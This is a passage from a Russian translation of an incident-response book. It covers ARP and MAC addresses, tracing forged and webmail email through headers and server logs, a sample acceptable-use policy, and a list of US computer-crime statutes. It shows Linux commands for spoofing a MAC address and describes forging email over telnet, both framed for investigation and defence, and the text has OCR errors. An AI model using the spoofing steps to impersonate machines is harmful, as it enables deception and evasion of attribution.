компьютера. Проще всего представлять адрес MAC как физический, аппа-
ратный адрес системы.
Протокол разрешения адреса (ARP) является протоколом на основе
TCP/IP (другие пакеты протоколов также могут использовать ARP), кото-
рый отображает логический IP адрес в физический МАС адрес. ARP испо-
льзуется, когда машина знает IP адрес машины, с которой она хочет обща
ться. Однако она должна знать ее МАС адрес, чтобы создать правильные
кадры уровня канала данных. Важно понимать, что ARP используется для
контакта машин в той же локальной сети (LAN). МАС адрес никому не ви-
ден вне вашего шлюза.
Просмотр таблицы ARP
Каждая машина поддерживает таблицу ARP, которая отображает адреса
MAC в соответствующие IP адреса. Эта таблица обновляется примерно каж
дые 30 с на большинстве систем при условии, что не существует исходящих
соединений с удаленной машиной, которые находятся в таблице АRР. Мож
но представлять таблицу ARP как таблицу, содержащую МАС адрес а машин,
с которыми ваша система общалась за последние 30 с.
Можно использовать команду агр  а для перечисления содержимого таб
лицы ARP системы (называемой обычно кэшпамятью аrр). На рис. А.5 пока
заны примеры использования arp  a. Отметим, что начальная команда arp  a
в примере не показывает никаких записей в кэш памяти агр. Затем выполня
ется ping 10.1.1.1 и посылаются четыре пакета эхо запроса ICMP по адресу
10.1.1.1, Однако, чтобы система общалась с системой 10.1.1.1, необходимо

454
Приложение А
Рис. А.5. Использование arp  а для просмотра содержимого таблицы ARP
получить ее МАС адрес. Поэтому, прежде чем наша система сможет по-
слать пакеты ping, необходимо получить МАС адрес для 10.1.1.1. Вторая
команда агр  а показывает теперь МАС адрес для 10.1.1.1 в кэш памяти агр.
Получение МАС адреса системы
Если требуется узнать МАС адрес системы, можно использовать одну из сле-
дующих команд:
На машинах с Windows 9x используйте winipcfg.
На системах с Windows NT/2000 применяйте ipconfig /all.
На системах UNIX, таких как Linux и Solaris, используйте ifconfog  a.
На рис. А.6 показан пример использования команды ipconfig /all. В этом
примере устройству Ethernet присвоен физический адрес, имеющий в длину
шесть байтов. Первые три байта используются для идентификации произво-
дителя адаптера Ethernet. Следующие три байта являются уникальным се-
рийным номером конкретного адаптера. Текущий список трехбайтовых ко-
дов поставщиков поддерживается по адресу http://www.iana.org/assign
ments/ethernet numbers.
Важно понимать, что атакующие могут изменить свой МАС адрес, чтобы
скрыть идентичность. Атакующему необходимо просто определить МАС ад-
рес машины, которую он хочет имитировать. Зная МАС адрес, который надо
подделать, можно изменить свой МАС адрес в системе UNIX или Windows.
Ниже показано, как МАС адрес можно изменить на машине, выполняющей
Linux:
[root@linux]# ifconfig  i eth0
eth0 Link encap:Ethernet HWaddr 00:60:97:CC:8E:8A
inet addr:192.168.0.111 Beast:192.168.0.255 Mask:255.255.255.0

Установление идентичности в киберпространстве
455
Рис. А.6. Использование ipconfig для просмотра MAC и IP адреса системы
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:27 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
Interrupts Base address:0x300
[root@linux]# ifconfig ethO down
[root@linux]# ifconfig ethO hw ether 00:60:97:CC:8e:8c
[root@linux]# ifconfig ethO up
[root@linux]# ifconfig  i ethO
ethO Link encap:Ethernet HWaddr 00:60:97:CC:8E:8C
inet addr:192.168.0.111 Beast:192.168.0.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:27 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
Intrrupt:9 Base address:0x300
Можно видеть, что команда ifconfig успешно изменила МАС адреc c
00:60:97:СС:8е:8с на 00:60:97:СС:8Е:8С. Исходный МАС адрес сбрасывается,
когда машина перезагружается, стирая доказательства того, что MAC адрес
был изменен.
В действительности не существует причин для разрешении изменять
МАС адрес своего интерфейса. Чтобы предотвратить такие модификации,
необходимо сконфигурировать DHCP для отображения IP адресов только в
определенные МАС адреса, коммутаторы для отображения определенных
физических портов в определенные MAP адреса. Все записываете в журна
лы не верьте никому.

456
Приложение А
Пример инцидента
Когда же МАС адреса действительно имеют значение при расследовании
компьютерного инцидента? Они редко бывают полезны, когда атаки
приходят "извне" сети. Однако рассмотрим следующий сценарий: Джон
уходит с работы ежедневно в 5 час и перед уходом выключает свою ма-
шину с Windows NT. Боб, который ненавидит Джона (хочет ему напако-
стить), решил сделать так, чтобы Джона уволили. Боб заметил, что Джон
ушел однажды с работы раньше. Боб поспешил наверх в свой собствен-
ный офис и реконфигурировал свою машину. Боб изменил свой IP адрес
и имя NetBIOS, чтобы они совпали с параметрами системы Джона. За-
тем он 20 мин просматривал порнографические сайты. В 5 час Боб пре-
кратил свою деятельность, привел настройки своей системы в прежнее
состояние и пошел домой очень довольным. Его порно путешествие с
IP адресом и именем NetBIOS Джона наверняка приведет к увольнению
Джона на следующий день.
Журналы сетевого мониторинга показывают, что IP адрес Джона
просматривал порнографические Web сайты в рабочие часы. Когда
Джон придет на работу на следующий день, его могут обвинить в том,
чего он не делал. Однако, если сетевой мониторинг организации также
записывает МАС адреса всех пересылаемых в сети пакетов (а они обыч-
но это делают), то будет очень просто увидеть, что МАС адрес, который
инициировал незаконный просмотр Web, не принадлежит сетевому
адаптеру Ethernet в компьютере Джона.
ТРАССИРОВКА E MAIL
Многие люди посылают сообщения e mail друг другу, когда они находятся на
расстоянии около 5 м. E mail является не только удобной формой общения,
но и способом вести историю переписки. Если только вы не записываете
на магнитную ленту каждый свой телефонный разговор, то исторические
записи e mail не имеют себе равных.
Анонимность часто является целью атак на основе e mail. Атакующие хо-
тят угрожать людям, обманом заставить их сделать что то, что они обычно
не делают, посылают вирусы и незаконные черные ходы в сеть, клеветни-
ческие сообщения в новостные группы, ложную информацию о компании,
чтобы изменить цену акций, и выполняют другие правонарушения. В то же
время они остаются незамеченными. Кроме того, несколько людей могут
совместно использовать доступ к одной учетной записи e mail.
Наиболее обычными злоупотреблениями e mail являются поддельная поч-
та и спам. Поддельная почта --- это когда отправляются сообщения e mail,
которые имеют вид сообщения от другого пользователя. Поддельная почта
используется обычно для маскировки под видом надежного пользователя и
попытки внедрить вирус или незаконные черные ходы в сеть. Спамом явля-
ется лавинная рассылка сообщений e mail как можно большему количеству
получателей. Спам используется обычно для рекламирования некоторого
чудесного продукта или схемы быстрого обогащения. Оба типа сообщений

Установление идентичности в киберпространстве
457
Как e mail перемещается в Интернете
Существуют три компонента в системе e mail, которые сегодня использу-
ются в Интернете, почтовые агенты пользователей (MUA --- Mail User
Agents), агенты пересылки почты (МТА --- Mail Transfer Agents) и агенты до-
ставки почты (MDA --- Mail Delivery Agents). MUA используются для созда-
ния и отправки e mail. Наиболее распространенные почтовые клиен-
ты --- Microsoft Outlook и Netscape Messenger. МТА и MDA обычно
называют почтовыми серверами. Распространенные почтовые серве-
ры --- Sendmail и Microsoft Exchange. Почтовые клиенты общаются с поч-
товыми серверами при помощи простого протокола пересылки почты
(SMTP). Поэтому МТА часто называются серверами SMTP. Отметим,
что SMTP служит для отправки e mail. Другие протоколы, такие как про-
токол почтовой службы (POP) и протокол доступа к сообщениям Интер-
нета (IMAP), используются для извлечения своей почты.
Когда посылается сообщение e mail, почтовый клиент посылает его на
выбранный вами исходящий почтовый сервер. Начальный почтовый сер-
вер будет определять, является ли получатель локальным или нет. Если
получатель сообщения e mail является локальным, то почтовому серверу
необходимо только поместить сообщение e mail во входящий ящик полу-
чателя для дальнейшего извлечения. Если адрес e mail получателя не явля-
ется локальным для первого почтового сервера, то он воспользуется DNS
с целью поиска подходящего почтового сервера для домена получателя.
Сообщение e mail может пройти через четыре или пять почтовых серве-
ров, прежде чем оно наконец достигнет своего конечного места назначе-
ния. Конечный почтовый сервер SMTP действует как MDA и помещает со-
общение в почтовую папку получателя. Сообщение будет ждать
извлечения получателем через протокол POP или IMAP. На иллюстрации
показано как в настоящее время e mail перемещается в Интернете.

458
Приложение А
требуют сервер e mail, который пересылает сообщения e mail без авториза-
ции. В настоящее время существуют бесчисленные серверы e mail по всему
миру, пересылающие любое сообщение, которое они получают, в соответ-
ствующее место назначения без какой либо авторизации. Такие серверы
используются атакующими для отправки поддельной почты и спама.
Трассировка поддельной почты
На рис. А.7 показан пример того, как послать поддельную почту, соединяясь
прямо с сервером e mail на порте 25. Вы видите, что можно соединяться с
помощью telnet прямо с почтовыми серверами и выполнять вручную
SMTP команды HELO, MAIL FROM:, RCPT ТО: и DATA. Эти команды почто-
вый сервер понимает и обрабатывает для любого посылаемого сообщения
e mail. Обычно пользователь никогда не видит таких команд, поскольку Net-
scape Messenger и другие клиенты e mail выполняют эти низкоуровневые
команды вместо него.
Рис. А.7. Как послать e mail с помощью telnet
Отметим, что e mail имеет вид, как будто оно было послано тренером
футбольной команды Pittsburgh Steelers Биллом Кауэром. (На самом деле
он этого не делал.) Это безобидное послание e mail, но представьте себе,
какой хаос могут вызвать атакующие, посылая поддельную почту от систем-
ных администраторов, требующих, чтобы все пользователи сменили свои
пароли.
На рис. А.8 показана поддельная почта, полученная от Билла Кауэра. Не
существует простого способа определить, что оно поддельное. Полагайтесь
на здравый смысл.

Установление идентичности в киберпространстве
459
Рис. А.8. Получение поддельной почты
Первый шаг в идентификации и трассировке поддельной почты будет та-
ким же, как и трассировка любого сообщения e mail. Необходимо сначала
просмотреть заголовки полученного сообщения e mail (см. рис. А.9). В этом
примере заголовки показывают, что исходным почтовым сервером является
snapper.lansters.com. По распоряжению суда можно получить файлы журна-
лов из snapper.lansters.com, чтобы определить, кто послал сообщение.

460
Приложение А
НАГЛЯДНЫЙ ПРИМЕР
Поддельная почта также используется для внедрения незаконных
серверов или вирусов в сеть. В недавнем случае кто то послал подде-
льную почту (которая использовала исходный адрес e mail системно-
го администратора) с приложением в виде исполняемого файла. При-
ложение оказалось черным входом удаленного доступа с именем
SubSeven. Интересно отметить, что все получатели, которых мы прове-
рили, невольно выполнили программу черного хода на своих персональ-
ных рабочих станциях.
Трассировка e mail на базе Web
Учетные записи e mail на основе Web (Webmail) могут еще больше ослож-
нить установление идентичности отправителя. Можно создавать новую се-
тевую учетную запись Webmail каждый раз, когда понадобится послать сооб-
щение e mail. Многие лица используют бесплатные учетные записи e mail,
доступные на следующих сайтах:
http://www.hotmail.com/
http://www.hushmail.com
http://mail.yahoo.com/
http://www.lycosmail.com
Большинство этих сайтов поддерживают IP адрес источника каждого со-
единения, которое обращается к сетевой Webmail. Крайне важно иметь
связь с этими организациями. Наличие точки контакта существенно для по-
нимания, как получить желательную информацию о подписчике. Однако
это не всегда возможно. Например, Hush.com обещает пользователям, что
сайт не использует cookies и что Hush никогда не записывает IP адреса по-
льзователей таким образом, что они могут быть связаны с адресами e mail.
ВНИМАНИЕ Если вы получаете e mail от Hotmail, то заголовки e mail содержат ис-
ходный IP адрес в следующем формате: X Originating IP:[12.38.29.235].
Что может произойти
Вы получаете сообщение e mail, показанное на рис. А.10. Адрес источника
является, очевидно, фиктивный, но вам нужно определить, кто послал эту
угрозу.
Где искать доказательства
Так как вы получили подобное сообщение через Netscape Messenger, вы вы-
бираете пункт меню View | Headers | All, чтобы определить реальный источ-
ник сообщения. Далее показана информация заголовка из сообщения e mail
с угрозой:
1) Return Path: <bovine@untraceable.com>

Установление идентичности в киберпространстве
Рис. АЛО. Угрожающее поддельное сообщение e mail
2) Received: from mx02.mrf.fflail.rcn.net ([207.172.4.51]) by
mta04.mrf.mail.rcn.net(InterMail vM.4.01.03.14 201 229 121 114 20001227)
with ESMTP
id<20010416013359.SDEZ22651.mta04.mrf.mail.rcn.net@mx02.mrf.mail.rcn.net>
for <mandiak@mta.mrf.mail.rcn.net>;Sun, 15 Apr 2001 21:33:59 0400
3) Received: from21 155 124 64.dsl.lan2wan.com ([64.124.155.21])
helo=snapper.lansters.com) by mx02.mrf.mail.rcn.net with esmtp
(Exim 3.16 #5) id 14oxtv 0002jQ 00 for mandiak@erols.com; Sun, 15 Apr 2001
21:33:59 0400
4) Received:from nobody@localhost) by snapper.lansters.com (8.11.3/8.9.3)
id f3G1Xkq11863 for mandiak@erols.com; Sun, 15 Apr 2001 21:33:46 0400
(EDT) (envelope from bovine@untraceable.com)
5) X Authentication Warning: snapper.lansters.com: nobody set sender to
bcvine@untraceable.com using  f
6) To: mandiak@erols.com
7) Subject: I have rOOt on your firewall
8) Message ID: <987384826.3ada4bfa10b99@secure.code monks.com>
9) Date: Sun, 15 Apr 2001 21:33:46  0400 (EDT)
10) From: bovine@untraceable.com
11) MIME Version: 1.0
12) Content Type: text/plain; charset=IS0 8859 1
13) Content Transfer Encoding: 8bit
14) User Agent: IMP/PHP IMAP webmail program 2.2.3
15) X Mozilla Status: 8001
16) X Mozilla Status2: 00000000
17) X UIDL: <987384826.3ada4bfa10b99@secure.code monks.com>
Файл заголовка для угрожающего сообщения e mail указывает, что это
сообщение прошло через три отдельных почтовых сервера:
В строке 4 почта была впервые получена на snapper.lansters.com
В строке 3 snapper.lansters.com, чей IР адрес будет 611.124.155.21, пере
сылает сообщение второму почтовому серверу mx02.mrf.mal.rcn.net

462
Приложение А
В строке 2 mx02.mrf.mail.rcn.net, чей IP адрес будет 207.172.4.51, пере-
сылает e mail конечному почтовому серверу mta04.mrf.mail.rcn.net.
Строка 8 показывает ID сообщения 987384826.3ada4bfal0b99, кото-
рое вы будет искать в почтовых журналах на почтовом сервере snap
per.lansters.com.
Строка 14 указывает, что составителем угрожающего e mail использо-
ван почтовый агент на основе Web для составления сообщения.
Поэтому можно найти доказательства, такие как IP адрес составителя
в журналах доступа Web в системе snapper.lansters.com.
ВНИМАНИЕ Отметим, что самый последний сервер e mail, выполнивший до-
ставку сообщения, находится в верхней части заголовка e mail. Вы
хотите получить почтовые журналы из первого почтового сервера,
упомянутого в заголовке, который будет последним сервером,
встретившимся при считывании заголовка e mail сверху вниз.
В заголовке не существует данных, показывающих IP адрес источника, ко-
торый составил e mail. Так как это сообщение e mail нарушает уголовное за-
конодательство, то вы пересылаете информацию агентам ФБР, которые вы-
писывают судебный ордер для извлечения журналов соединений из первого
почтового сервера, передающего сообщение: snapper.lansters.com
(64.124.155.21). В результате судебного ордера вы сможете просмотреть сле-
дующий имеющий отношение к делу фрагмент почтового журнала. Помни-
те, что вас интересуют записи в почтовом журнале, содержащие ID сообще-
ния 987384826.3ada4bfal0b99, который был идентифицирован в заголовке
e mail.
1) Apr 15 21:33:46 snapper sendmail[11863]: f3G1Xkq11863:
from=bovine@untraceable.com, size=453, class=0, nrcpts=1,
msgid=<987384826.3ada4bfa10b99@secure.code monks.com>,
relay=nobody@localhost
2) Apr 15 21:33:47 snapper imapd[11861]: Logout user=mtpepe
host=localhost.lansters.com [127.0.0.1]
3) Apr 15 21:33:47 snapper imapd[11866]: Authenticated user=mtpepe
host=localhost.lansters.com [127.0.0.1]
4) Apr 15 21:33:56 snapper imapd[11866]: Logout user=mtpepe
host=localhost.lansters.com [127.0.0.1]
5) Apr 15 21:33:57 snapper sendmail[11865]: f3G1Xkq11863:
to=mandiak@erols.com,ctladd r=bovine@untraceable.com (65534/65533),
delay=00:00:11,xdelay=00:00:11, mailer=esmtp,
pri=30453,relay=mx.mail.rcn.net.
[207.172.4.98], dsn=2.0.0, stat=Sent
(OK id=14oxtv 0002jQ 00@mx02.mrf.mail.rcn.net)
Выделенный полужирным текст в строке 1 показывает ID сообщения,
идентичный тому, который присутствует в заголовке полученного сообще-
ния. Поэтому можно сделать вывод, что эта запись журнала сделана атакую-
щим. Отметим, что IP адрес источника соединения отсутствует. Это связано
с тем, что атакующий использует для отправки e mail интерфейс на основе

Установление идентичности в киберпространстве
/,м
Web. Именно поэтому строки 2, 3, и 4 показывают записи демона IMAP
(imapcd). Строка 14 в заголовке e mail показывает, что атакующий использу
етIМАР для отправки сообщения. Таким образом, чтобы обнаружить IP адрес
атакующего, необходимо идентифицировать соответствующие записи
журнала в журналах Web доступа, полученных от snapper.lansters.com. Да
лее показаны соответствующие записи в журналах Web доступа, найденных
в системе.
1) 12.38.29.235
[15/Арг/2001:21:32:35  0400] "GET
/webmail/imp/compose.php3?uniq=987384510169 HTTP/1.1" 200 15364
2) 12.38.29.235
[15/Apr/2001:21:32:46  0400] "GET
/webmail/imp/status.php3?language=en&message=Message+Composition
&status=green HTTP/1.1" 200 1027
3) 12.38.29.235
[15/Apr/2001:21:33:46
0400] "POST
/webmail/imp/compose.php3?uniq=5439335813ada4bb339f76 HTTP/1.1" 200 628
4) 12.38.29.235
[15/Apr/2001:21:33:56
0400] "GET
/webmail/imp/status.php3?language=en&message=Message+sent+successfully.
&status=green HTTP/1.1" 200 1034
Строка 1 фрагмента показывает начальное соединение с программой
Webmail с IP адреса 12.38.29.235. Теперь мы имеет направление для исследо-
вания. Можно выполнить nslookup и получить FQDN системы, выполнить
traceroute для поиска географического расположения системы и запросить
базу данных Whois, чтобы определить, за кем система зарегистрирована.
ИССЛЕДОВАНИЕ АДРЕСОВ E MAIL, ПСЕВДОНИМОВ,
ИМЕН ПОЛЬЗОВАТЕЛЕЙ И ИМЕН ХОСТОВ
Интернет имеет долгую память. Исследовательский поиск определенных
адресов e mail, псевдонимов IRC, имен пользователей или любых других
идентифицирующих данных может вскрыть более раннее использование
этого имени и подтвердить подозрения. Можно использовать специальные
Web сайты для поиска информации о лице или о присутствии в Интернете.
Такой сетевой поиск должен быть стандартной процедурой для любого ба-
зового расследования известных или неизвестных подозреваемых. Никог
да нельзя знать заранее, какая информация обнаружится.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Поиск адресов e mail: http://www.deafworldweb.org/net/dir
Поиск адресов e mail: http://www.emailchange.com
Поиск сообщений в конференциях (по определенному адресу e mail):
http://www.dejanews.com
Поиск по любым критериям идентификации: http://www.dogpile.com
Поиск по любым критериям идентификации: http://www.google.com

464
Приложение А
НАГЛЯДНЫЙ ПРИМЕР
Мультимиллиардная корпорация имела неприятности по вине челове-
ка, который опубликовал данные о корпоративной прибыли в конфе-
ренции Yahoo ровно за один день до того, как данные о прибыли стали
публично известны. Отправка корреспонденции произведена челове-
ком, идентифицированным как barney@playland.com. Было очевидно,
что кто то вышел с совещания, где была объявлена прибыль, и в тече-
ние нескольких минут отправил информацию в публичную конферен-
цию. Примерно 100 человек знали данную информацию сразу после
объявления. Это было классическое исследование "утечки". Кто опубли-
ковал точные цифры? Компания немедленно начала мониторинг всех
сетевых соединений с Yahoo и тщательно исследовала свои журналы
наблюдения каждый раз, когда сообщали о квартальных доходах управ-
ляющим. Реализация такого сетевого наблюдения стоила компании
примерно $500 000 --- не говоря уже о времени, затраченном на внимате-
льное исследование журналов в поисках нарушителя (который все рав-
но мог обойти весь контроль с помощью телефонного соединения).
Был нанят исследователь для идентификации сотрудника, сливавшего
информацию за последние три квартала. Этот исследователь работал с
данным случаем только три дня. В первый день исследователь спланиро-
вал свой подход к расследованию. На второй день исследователь реали-
зовал свой первый шаг --- выполнил поиск в deja news адреса e mail bar
ney@playland.com. Исследователь быстро узнал, что barney писал также
и в другие конференции. В одной из этих конференций Барни упомянул,
что пропустил одну неделю в апреле из за автомобильной аварии. Этого
оказалось достаточно, один из 100 менеджеров, которые могли сливать
информацию, отсутствовал как раз одну неделю в апреле. Бесплатный
поиск в deja news выполнил работу сетевых сенсоров стоимостью более
чем полмиллиона долларов.
'АСКРЫТИЕ АНОНИМНОСТИ ПО ЮРИДИЧЕСКИМ КАНАЛАМ
Существуют ситуации, когда исследование раскрывает IP адреса некоторых
сайтов и необходимо проследовать по киберследу, чтобы идентифициро-
вать лицо, ответственное за атаку на ваши ресурсы. Эти сайты, особенно ISP,
не обязаны предоставлять вам какую либо информацию, которая может по-
мочь идентифицировать преступника. Так как частные организации не мо-
гут воспользоваться вызовом в суд присяжных и судебными распоряжения-
ми 2703(d) или выписать предписание, они должны в настоящее время
полагаться на следующие возможности для раскрытия анонимности:
Возбудить судебное дело "John Doe" и вызвать в суд провайдера или
организацию, которые владеют записями об IP адресе атакующего.
Использовать специфические для государства механизмы обнаружения.

Установление идентичности в киберпространстве
465
Если рассматриваемый вопрос включает нарушение авторских прав,
то закон об авторских правах на программное обеспечение (Digital
Millenium Copyright Act) предусматривает вызов в суд для предваритель-
ной идентификации.
Сообщить об инциденте агентам правоохранительных органов и на-
деяться, что они выполнят судебное преследование.
Возбуждение судебного дела "John Doe"
Если ваша организация или юрисконсульт не имеют под рукой "готовой
формы" John Doe для вызова в суд, рекомендуем ее создать. Однажды ваша
система может пострадать от разрушительной атаки отказа в обслужива-
нии. Если ваше правление или юрисконсульт имеют механизм для раскры-
тия анонимности в Интернете, то вы сможете быстро положить конец зло-
намеренной или клеветнической деятельности против вашей корпорации.
Сообщение об инциденте правоохранительным органам
Вы можете предпочесть сообщить об инциденте локальным правоохранитель-
ным органам, когда ваши усилия раскрыть анонимность удовлетворяют
следующим критериям:
Деятельность, видимо, исходит извне США.
Вы не хотите спугнуть анонимную, мешающую работе сторону.
Вы имеете действительный, доказуемый судебный случай и не хотите
тратить тысячи долларов на гражданский иск.
НАГЛЯДНЫЙ ПРИМЕР
Мы были вовлечены в то, что оказалось конспективным случаем клеве-
ты: клеветнические сообщения посылались анонимно (или псевдоано
нимно) в публичные конференции. Оклеветанные руководители компа-
нии ощущали, что их бизнес и общественные связи страдают в связи с
клеветой атакующих. Они хотели ее остановить, но не имели представ-
ления о том, что надо для этого сделать. Специалисты, поддерживающие
конференцию, получили IP адреса почтовых отправлений. Все они нахо-
дились у двух достаточно больших ISP. Поэтому простая фильтрация па
кетов не помешала бы атакующим постоянно посылать свои сообщения
Не существовало технической возможности остановить клевету. Конфе-
ренции, куда она посылалась, были открытыми и не требовали никакой
идентификации. Единственным способом остановить атакующих был по
иск реальных людей, которые посылали клеветнические сообщения.
Чтобы сделать это, компании потребовалось возбудить судебное дело
John Doe.

466
Приложение А
Правоохранительные агентства (в частности, ФБР) имеют связи и влия-
ние, которые могут пересекать международные границы. Юридические
представители ФБР имеются в большинстве стран, и они поддерживают
связи с локальными правоохранительными органами, которые необходи-
мы для выполнения расследования.
Другим преимуществом, которое имеют правоохранительные агенты,
является то, что их действия могут раскрыть анонимность без уведомления
анонимной стороны. Обычно, если организация возбуждает гражданскую
жалобу John Doe, то анонимная сторона имеет примерно 14 дней, чтобы
предпринять необходимые действия для защиты своей анонимности. Ког-
да официальные лица правоохранительных органов вручают повестку или
распоряжение суда вышестоящим сайтам, они получают ответ быстрее и
анонимная сторона не уведомляется об этом.
Правоохранительные органы могут раскрыть анонимность и возбудить
уголовное дело против нарушителя бесплатно для вашей организации. Су-
ществует стоимость участия следователей и поддержки юридического про-
цесса, но ни одно реагирование на инцидент не обходится без расходов.
Если вы как следует задокументировали инцидент, поддерживали правиль-
ный порядок хранения доказательств, имеете четкую и краткую картину не-
законной деятельности и можете изложить информацию четким и про-
стым способом, правоохранительные органы инициируют действия,
которые не сможет предпринять публичный сектор (например, обыскать и
арестовать оборудование из частных резиденций и извлечь журналы из вы-
шерасположенных сайтов).
Другим преимуществом сообщения об инцидентах в ФБР является то,
что эти организации часто имеют общую картину. Например, если ваша ор-
ганизация является частью отрасли финансовых услуг, будете ли вы знать,
что в тот день, когда вы были взломаны подростками из России, пять дру-
гих крупных корпораций пострадали от той же атаки? Хотя вы можете не
иметь этой информации, правоохранительные органы могут знать обо
всех пострадавших сайтах и увидеть повторяющуюся схему.

ПРИЛОЖЕНИЕ В
Политики
информационной
безопасности и политики
допустимого
использования

468
Приложение В
Это приложение описывает общие компоненты, рекомендуемые для по-
литики информационной безопасности организации. Оно содержит также
образец политики допустимого использования, чтобы дать представление
о том, что рассматривать при разработке политики допустимого использо-
вания своей собственной организации. В главе 3 этой книги показано, как
политики организации могут влиять в случае реагирования на компьютер-
ный инцидент.
ОБЛАСТИ ПОЛИТИКИ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ
Каждая организация должна иметь всеобъемлющую политику информаци-
онной безопасности и включать следующие области:
Обзор политики информационной безопасности
Заявление об ответственности за обработку информации
Политику чувствительности информационной безопасности
Стандарты классификации информационной чувствительности
Стандарты анализа рисков
Стандарты минимального базиса
Политику мониторинга безопасности
Администрирование учетных записей пользователей
Идентификацию пользователей
Управление паролями
Политики исключения пользователей
Управление прикладным программным обеспечением
Права интеллектуальной собственности
Публичное представление
Обзор сетевой безопасности
Шифрование
Сетевые соединения
Системные сообщения предупреждения
Политику для e mail, Интернета и телефона
Безопасность системного программного обеспечения
Безопасность рабочей станции (ПК)
Доступ в Интернет
Защиту от вирусов
Политику допустимого использования

Политики информационной безопасности
469
Безопасность информации твердой копии
Безопасность независимых поставщиков услуг
Безопасность персонала
Физическую (относящуюся к окружению) безопасность
ПОЛИТИКА ДОПУСТИМОГО ИСПОЛЬЗОВАНИЯ
Политика допустимого использования (AUP --- Acceptable Use Policy) явля-
ется одним из важных компонентов общей политики информационной бе-
зопасности. Она используется для определения, как пользователи инфор-
мационной системы могут использовать информационные ресурсы
организации. Эти ресурсы обычно включают оборудование, программное
обеспечение и соединение с сетью и Интернет. AUP полезно при задании
ожидаемых результатов для допустимого использования и определения ре-
акций и последствий для недопустимого применения. Специфические эле-
менты AUP зависят от философии организации, целей бизнеса, культуры
организации и специальных правовых или регулирующих рекомендаций.
Образец политики допустимого использования
Следующий пример описывает ключевые компоненты AUP. Этот образец
не предназначен для использования в том виде, как он есть, каждый компо-
нент должен быть приспособлен к потребностям организации. (Слово "ор-
ганизация" необходимо заменить на название конкретной организации.)
Дополнительную информацию об AUP можно найти в руководстве по раз-
работке AUP по адресу http://www.sans.org/infosecFAQ/policy/considera
tions.htm.
Обзор
Информационные системы и сетевые ресурсы в организации предоставля-
ются только для авторизованного использования. Ресурсы могут использо-
ваться только для деятельности, имеющей отношение к организации. Этот
документ описывает общие стандарты допустимого использования подоб
ных ресурсов.
Общие принципы использования
Ресурсы информационной системы, включая программное обеспечение,
оборудование и сети, предоставляемые для использования сотрудникам Ор
ганизации, должны применяться способом, соответствующим достижению
целей и задач организации.
Недопустимое использование
Предоставление полномочий аутентификации (обычно идентифика
тора пользователя и пароля) неавторизованным пользователям.

470
Приложение В
Раскрытие конфиденциальной информации. Конфиденциальная ин-
формация не может передаваться третьей стороне.
Недопустимое использование e mail.
Оскорбление. Пользователи не имеют права посылать угрожающие,
бранные или оскорбительные сообщения через информационные ре-
сурсы организации.
Фальсификация/искажение. Пользователи не имеют права маскиро-
вать или искажать свою идентичность электронным или каким либо
другим образом.
Попытка получить доступ к неавторизованным ресурсам. Пользовате-
ли не имеют права пытаться получить доступ к информации, компью-
терам или сетевым ресурсам внутри или вне организации, доступ к
которым для них неавторизован.
Частное или частное коммерческое использование. Пользователи не
имеют права использовать информационные ресурсы организации
для целей, которые не связаны с организацией.
Злоупотребление соединением с Интернетом. Доступ в Интернет
предоставляется для целей, связанных с выполнением задач организа-
ции. Использование Интернета для других целей, включая посеще-
ние Web сайтов для взрослых, запрещено.
Отказ в обслуживании (прерывание службы). Информационные ре-
сурсы нельзя использовать способом, который прерывает или ухудша-
ет работу сетей организации.
Неавторизованное/незаконное программное обеспечение. Нельзя
использовать на компьютерных ресурсах организации.
Любое использование сетей в нарушение федеральных, государствен-
ных или локальных законов.
Контроль за соблюдением политики
Организация считает любое нарушение политики допустимого обслужива-
ния серьезным преступлением. Она сохраняет право дублирования и про-
верки любых данных или информации, расположенной на информацион-
ных системах организации, предположительно связанных с недопустимым
использованием. Нарушение политики подлежит дисциплинарным дейст-
виям, как описано в Справочнике сотрудника, и они могут преследоваться
по федеральным, государственным и местным законам.

ПРИЛОЖЕНИЕ С
Законодательные акты
о компьютерных
преступлениях

472
Приложение С
Это
приложение перечисляет федеральные законодательные акты о
компьютерных преступлениях. Отдел компьютерных преступлений и интел-
лектуальной собственности (CCIPS) Криминального департамента Мини-
стерства юстиции США поддерживает Web сайт http://www.cybercrime.gov.
Сайт является фантастическим ресурсом для множество вопросов, связан-
ных с компьютерными преступлениями. Ключевые компоненты сайта вклю-
чают текущие случаи компьютерных преступлений, рекомендации для
обвинителей и следователей и законодательные акты, связанные с компью-
терными преступлениями. Большинство перечисленных здесь законов США
вы найдете на сайте www.cybercrime.gov.
Многие штаты имеют дополнительные законодательные акты о компью-
терных преступлениях, которые также могут применяться. Одним из ресур-
сов в Web, которые содержат законы штатов о компьютерных преступлени-
ях, является http://nsi.org/Library/Compsec/computerlaw/statelaws.html.
Другим общим сайтом законов штатов является http://www.lawsource.com.
ФЕДЕРАЛЬНЫЕ ЗАКОНЫ О КОМПЬЮТЕРНОМ ВТОРЖЕНИИ
Ниже представлены федеральные законодательные акты о компьютерном
вторжении:
18 U.S.C. 1029 Мошенничество и родственная деятельность в связи с
устройствами доступа.
18 U.S.С. 1030 Мошенничество и родственная деятельность в связи с
компьютерами.
18 U.S.С. 1362 Линии, станции или системы коммуникации.
18 U.S.C. 2511 Прослушивание и раскрытие телеграфной, устной или
электронной коммуникации запрещено.
18 U.S.С. 2701 Незаконный доступ к хранимой информации коммуни-
кации.
18 U.S.C. 2702 Раскрытие содержимого.
18 U.S.C. 2703 Требования для правительственного доступа.
ФЕДЕРАЛЬНЫЕ ЗАКОНЫ
ОБ ИНТЕЛЛЕКТУАЛЬНОЙ СОБСТВЕННОСТИ
Федеральные законы об интеллектуальной собственности делятся на кате-
гории нарушения авторского права, ведомства по управлению авторским
правом, нарушения, связанные с незаконным (пиратским) копированием, с
торговой маркой, с торговыми секретами, с целостностью IP систем и со
злоупотреблением системами распространения.

Законодательные акты о компьютерных преступлениях
473
Нарушения авторского права
Ниже представлены законодательные акты о нарушениях авторского права:
17 U.S.С. 506 Криминальные нарушения
18JJ.S.C. 2319 Криминальные нарушения авторского права
18 U.S.C. 2318 Торговля поддельными ярлыками
Нарушения управлением авторским правом
